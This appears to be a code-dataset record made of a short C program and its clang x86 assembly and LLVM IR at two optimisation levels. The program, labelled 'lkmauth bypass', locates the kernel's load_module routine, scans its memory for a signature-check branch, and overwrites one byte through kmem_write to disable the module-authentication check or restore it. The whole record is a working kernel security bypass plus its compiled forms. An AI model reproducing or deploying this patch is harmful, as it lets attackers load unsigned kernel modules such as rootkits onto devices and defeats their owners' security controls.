#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
unsigned long get_kernel_sym(char *);
scalar_t__ kmem_read(unsigned long, unsigned char *, int);
int /*<<< orphan*/ kmem_write(unsigned long, char *, int);
int /*<<< orphan*/ memcmp(unsigned char *, char *, int);
int /*<<< orphan*/ printf(char *, ...);
int main(int ac, char **av) {
  int rc = -1;
  int i;
  unsigned char buf[256];
  unsigned long addr;
  printf("lkmauth bypass\n");
  addr = get_kernel_sym("load_module");
  if (!addr) {
    printf("ERROR: get_kernel_sym(\"load_module\")\n");
    goto cleanup;
  }
  if (kmem_read(addr, buf, 256)) {
    printf("ERROR: kmem_read()\n");
    goto cleanup;
  }
  printf("scanning for check\n");
  for (i = 0; i < (256 - 8); i += 4) {
    if (!memcmp(buf + i, "\x02\x00\x52\xe3", 4) && buf[i + 7] == 0x0A) {
      printf("detected unpatched version at load_module+0x%X, patching...\n",
             i);
      kmem_write(addr + i + 7, "\xEA", 1);
      break;
    }
    if (!memcmp(buf + i, "\x02\x00\x52\xe3", 4) && buf[i + 7] == 0xEA) {
      printf("detected patched version at load_module+0x%X, unpatching...\n",
             i);
      kmem_write(addr + i + 7, "\x0A", 1);
      break;
    }
  }
  rc = 0;
cleanup:
  return rc;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x130,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0xffffffff,-0x14(%rbp)
lea    0xe89(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0xe8b(%rip),%rdi
call   1060 <get_kernel_sym@plt>
mov    %rax,-0x128(%rbp)
cmpq   $0x0,-0x128(%rbp)
jne    11b2 <main+0x62>
lea    0xe76(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
jmp    1319 <main+0x1c9>
mov    -0x128(%rbp),%rdi
lea    -0x120(%rbp),%rsi
mov    $0x100,%edx
call   1070 <kmem_read@plt>
cmp    $0x0,%rax
je     11e7 <main+0x97>
lea    0xe67(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
jmp    1319 <main+0x1c9>
lea    0xe68(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
movl   $0x0,-0x18(%rbp)
cmpl   $0xf8,-0x18(%rbp)
jge    1312 <main+0x1c2>
lea    -0x120(%rbp),%rdi
movslq -0x18(%rbp),%rax
add    %rax,%rdi
lea    0xec8(%rip),%rsi
mov    $0x4,%edx
call   1040 <memcmp@plt>
cmp    $0x0,%eax
jne    1283 <main+0x133>
mov    -0x18(%rbp),%eax
add    $0x7,%eax
cltq
movzbl -0x120(%rbp,%rax,1),%eax
ff
cmp    $0xa,%eax
jne    1283 <main+0x133>
mov    -0x18(%rbp),%esi
lea    0xe16(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
mov    -0x128(%rbp),%rdi
movslq -0x18(%rbp),%rax
add    %rax,%rdi
add    $0x7,%rdi
lea    0xe33(%rip),%rsi
mov    $0x1,%edx
call   1050 <kmem_write@plt>
jmp    1312 <main+0x1c2>
lea    -0x120(%rbp),%rdi
movslq -0x18(%rbp),%rax
add    %rax,%rdi
lea    0xe4e(%rip),%rsi
mov    $0x4,%edx
call   1040 <memcmp@plt>
cmp    $0x0,%eax
jne    12ff <main+0x1af>
mov    -0x18(%rbp),%eax
add    $0x7,%eax
cltq
movzbl -0x120(%rbp,%rax,1),%eax
ff
cmp    $0xea,%eax
jne    12ff <main+0x1af>
mov    -0x18(%rbp),%esi
lea    0xdd9(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
mov    -0x128(%rbp),%rdi
movslq -0x18(%rbp),%rax
add    %rax,%rdi
add    $0x7,%rdi
lea    0xd50(%rip),%rsi
mov    $0x1,%edx
call   1050 <kmem_write@plt>
jmp    1312 <main+0x1c2>
jmp    1304 <main+0x1b4>
mov    -0x18(%rbp),%eax
add    $0x4,%eax
mov    %eax,-0x18(%rbp)
jmp    11fc <main+0xac>
movl   $0x0,-0x14(%rbp)
mov    -0x14(%rbp),%eax
add    $0x130,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %rbx
sub    $0x108,%rsp
lea    0xf14(%rip),%rdi
call   1030 <puts@plt>
lea    0xe80(%rip),%rdi
call   1070 <get_kernel_sym@plt>
test   %rax,%rax
je     11ab <main+0x4b>
mov    %rax,%r14
mov    %rsp,%rsi
mov    %rax,%rdi
mov    $0x100,%edx
call   1080 <kmem_read@plt>
test   %rax,%rax
je     11cc <main+0x6c>
lea    0xf26(%rip),%rdi
jmp    11b2 <main+0x52>
lea    0xee5(%rip),%rdi
call   1030 <puts@plt>
mov    $0xffffffff,%ebp
mov    %ebp,%eax
add    $0x108,%rsp
pop    %rbx
pop    %r14
pop    %r15
pop    %rbp
ret
lea    0xee9(%rip),%rdi
call   1030 <puts@plt>
xor    %ebx,%ebx
lea    0xf01(%rip),%r15
jmp    1200 <main+0xa0>
cs nopw 0x0(%rax,%rax,1)
nopl   (%rax)
lea    0x4(%rbx),%rax
cmp    $0xf4,%rbx
mov    %rax,%rbx
jae    125d <main+0xfd>
lea    (%rsp,%rbx,1),%rbp
mov    %rbp,%rdi
mov    %r15,%rsi
mov    $0x4,%edx
call   1050 <memcmp@plt>
test   %eax,%eax
jne    121f <main+0xbf>
cmpb   $0xa,0x7(%rsp,%rbx,1)
je     1264 <main+0x104>
mov    %rbp,%rdi
mov    %r15,%rsi
mov    $0x4,%edx
call   1050 <memcmp@plt>
test   %eax,%eax
jne    11f0 <main+0x90>
cmpb   $0xea,0x7(%rsp,%rbx,1)
jne    11f0 <main+0x90>
lea    0xe0a(%rip),%rdi
xor    %ebp,%ebp
mov    %ebx,%esi
xor    %eax,%eax
call   1040 <printf@plt>
lea    (%r14,%rbx,1),%rdi
add    $0x7,%rdi
lea    0xdec(%rip),%rsi
jmp    1285 <main+0x125>
xor    %ebp,%ebp
jmp    11bc <main+0x5c>
lea    0xda1(%rip),%rdi
xor    %ebp,%ebp
mov    %ebx,%esi
xor    %eax,%eax
call   1040 <printf@plt>
lea    (%r14,%rbx,1),%rdi
add    $0x7,%rdi
lea    0xdc4(%rip),%rsi
mov    $0x1,%edx
call   1060 <kmem_write@plt>
jmp    11bc <main+0x5c>

LLVM IR (-O0):
@.str = [16 x i8] c"lkmauth bypass\0A\00"
@.str.1 = [12 x i8] c"load_module\00"
@.str.2 = [38 x i8] c"ERROR: get_kernel_sym(\22load_module\22)\0A\00"
@.str.3 = [20 x i8] c"ERROR: kmem_read()\0A\00"
@.str.4 = [20 x i8] c"scanning for check\0A\00"
@.str.5 = [5 x i8] c"\02\00R\E3\00"
@.str.6 = [61 x i8] c"detected unpatched version at load_module+0x%X, patching...\0A\00"
@.str.7 = [2 x i8] c"\EA\00"
@.str.8 = [61 x i8] c"detected patched version at load_module+0x%X, unpatching...\0A\00"
@.str.9 = [2 x i8] c"\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i32
%8 = alloca [256 x i8]
%9 = alloca i64
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i32 -1, i32* %6
%10 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str, i64 0, i64 0))
%11 = call i64 @get_kernel_sym(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.1, i64 0, i64 0))
store i64 %11, i64* %9
%12 = load i64, i64* %9
%13 = icmp ne i64 %12, 0
br i1 %13, label %16, label %14
14: ; preds = %2
%15 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([38 x i8], [38 x i8]* @.str.2, i64 0, i64 0))
br label %81
16: ; preds = %2
%17 = load i64, i64* %9
%18 = getelementptr inbounds [256 x i8], [256 x i8]* %8, i64 0, i64 0
%19 = call i64 @kmem_read(i64 %17, i8* %18, i32 256)
%20 = icmp ne i64 %19, 0
br i1 %20, label %21, label %23
21: ; preds = %16
%22 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.3, i64 0, i64 0))
br label %81
23: ; preds = %16
%24 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.4, i64 0, i64 0))
store i32 0, i32* %7
br label %25
25: ; preds = %77, %23
%26 = load i32, i32* %7
%27 = icmp slt i32 %26, 248
br i1 %27, label %28, label %80
28: ; preds = %25
%29 = getelementptr inbounds [256 x i8], [256 x i8]* %8, i64 0, i64 0
%30 = load i32, i32* %7
%31 = sext i32 %30 to i64
%32 = getelementptr inbounds i8, i8* %29, i64 %31
%33 = call i32 @memcmp(i8* %32, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.5, i64 0, i64 0), i32 4)
%34 = icmp ne i32 %33, 0
br i1 %34, label %52, label %35
35: ; preds = %28
%36 = load i32, i32* %7
%37 = add nsw i32 %36, 7
%38 = sext i32 %37 to i64
%39 = getelementptr inbounds [256 x i8], [256 x i8]* %8, i64 0, i64 %38
%40 = load i8, i8* %39
%41 = zext i8 %40 to i32
%42 = icmp eq i32 %41, 10
br i1 %42, label %43, label %52
43: ; preds = %35
%44 = load i32, i32* %7
%45 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([61 x i8], [61 x i8]* @.str.6, i64 0, i64 0), i32 %44)
%46 = load i64, i64* %9
%47 = load i32, i32* %7
%48 = sext i32 %47 to i64
%49 = add i64 %46, %48
%50 = add i64 %49, 7
%51 = call i32 @kmem_write(i64 %50, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0), i32 1)
br label %80
52: ; preds = %35, %28
%53 = getelementptr inbounds [256 x i8], [256 x i8]* %8, i64 0, i64 0
%54 = load i32, i32* %7
%55 = sext i32 %54 to i64
%56 = getelementptr inbounds i8, i8* %53, i64 %55
%57 = call i32 @memcmp(i8* %56, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.5, i64 0, i64 0), i32 4)
%58 = icmp ne i32 %57, 0
br i1 %58, label %76, label %59
59: ; preds = %52
%60 = load i32, i32* %7
%61 = add nsw i32 %60, 7
%62 = sext i32 %61 to i64
%63 = getelementptr inbounds [256 x i8], [256 x i8]* %8, i64 0, i64 %62
%64 = load i8, i8* %63
%65 = zext i8 %64 to i32
%66 = icmp eq i32 %65, 234
br i1 %66, label %67, label %76
67: ; preds = %59
%68 = load i32, i32* %7
%69 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([61 x i8], [61 x i8]* @.str.8, i64 0, i64 0), i32 %68)
%70 = load i64, i64* %9
%71 = load i32, i32* %7
%72 = sext i32 %71 to i64
%73 = add i64 %70, %72
%74 = add i64 %73, 7
%75 = call i32 @kmem_write(i64 %74, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.9, i64 0, i64 0), i32 1)
br label %80
76: ; preds = %59, %52
br label %77
77: ; preds = %76
%78 = load i32, i32* %7
%79 = add nsw i32 %78, 4
store i32 %79, i32* %7
br label %25
80: ; preds = %67, %43, %25
store i32 0, i32* %6
br label %81
81: ; preds = %80, %21, %14
%82 = load i32, i32* %6
ret i32 %82
}

LLVM IR (-O2):
@.str.1 = [12 x i8] c"load_module\00"
@.str.5 = [5 x i8] c"\02\00R\E3\00"
@.str.6 = [61 x i8] c"detected unpatched version at load_module+0x%X, patching...\0A\00"
@.str.7 = [2 x i8] c"\EA\00"
@.str.8 = [61 x i8] c"detected patched version at load_module+0x%X, unpatching...\0A\00"
@.str.9 = [2 x i8] c"\0A\00"
@str = [15 x i8] c"lkmauth bypass\00"
@str.10 = [37 x i8] c"ERROR: get_kernel_sym(\22load_module\22)\00"
@str.11 = [19 x i8] c"scanning for check\00"
@str.12 = [19 x i8] c"ERROR: kmem_read()\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = alloca [256 x i8]
%4 = getelementptr inbounds [256 x i8], [256 x i8]* %3, i64 0, i64 0
%5 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([15 x i8], [15 x i8]* @str, i64 0, i64 0))
%6 = tail call i64 @get_kernel_sym(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.1, i64 0, i64 0))
%7 = icmp eq i64 %6, 0
br i1 %7, label %8, label %10
8: ; preds = %2
%9 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([37 x i8], [37 x i8]* @str.10, i64 0, i64 0))
br label %52
10: ; preds = %2
%11 = call i64 @kmem_read(i64 %6, i8* %4, i32 256)
%12 = icmp eq i64 %11, 0
br i1 %12, label %15, label %13
13: ; preds = %10
%14 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([19 x i8], [19 x i8]* @str.12, i64 0, i64 0))
br label %52
15: ; preds = %10
%16 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([19 x i8], [19 x i8]* @str.11, i64 0, i64 0))
br label %17
17: ; preds = %15, %49
%18 = phi i64 [ 0, %15 ], [ %50, %49 ]
%19 = getelementptr inbounds [256 x i8], [256 x i8]* %3, i64 0, i64 %18
%20 = call i32 @memcmp(i8* %19, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.5, i64 0, i64 0), i32 4)
%21 = icmp eq i32 %20, 0
br i1 %21, label %22, label %34
22: ; preds = %17
%23 = add nuw nsw i64 %18, 7
%24 = getelementptr inbounds [256 x i8], [256 x i8]* %3, i64 0, i64 %23
%25 = load i8, i8* %24
%26 = icmp eq i8 %25, 10
br i1 %26, label %27, label %34
27: ; preds = %22
%28 = trunc i64 %18 to i32
%29 = and i64 %18, 4294967292
%30 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([61 x i8], [61 x i8]* @.str.6, i64 0, i64 0), i32 %28)
%31 = add i64 %6, 7
%32 = add i64 %31, %29
%33 = call i32 @kmem_write(i64 %32, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0), i32 1)
br label %52
34: ; preds = %22, %17
%35 = call i32 @memcmp(i8* %19, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.5, i64 0, i64 0), i32 4)
%36 = icmp eq i32 %35, 0
br i1 %36, label %37, label %49
37: ; preds = %34
%38 = add nuw nsw i64 %18, 7
%39 = getelementptr inbounds [256 x i8], [256 x i8]* %3, i64 0, i64 %38
%40 = load i8, i8* %39
%41 = icmp eq i8 %40, -22
br i1 %41, label %42, label %49
42: ; preds = %37
%43 = trunc i64 %18 to i32
%44 = and i64 %18, 4294967292
%45 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([61 x i8], [61 x i8]* @.str.8, i64 0, i64 0), i32 %43)
%46 = add i64 %6, 7
%47 = add i64 %46, %44
%48 = call i32 @kmem_write(i64 %47, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.9, i64 0, i64 0), i32 1)
br label %52
49: ; preds = %34, %37
%50 = add nuw nsw i64 %18, 4
%51 = icmp ult i64 %18, 244
br i1 %51, label %17, label %52
52: ; preds = %49, %27, %42, %13, %8
%53 = phi i32 [ -1, %13 ], [ -1, %8 ], [ 0, %42 ], [ 0, %27 ], [ 0, %49 ]
ret i32 %53
}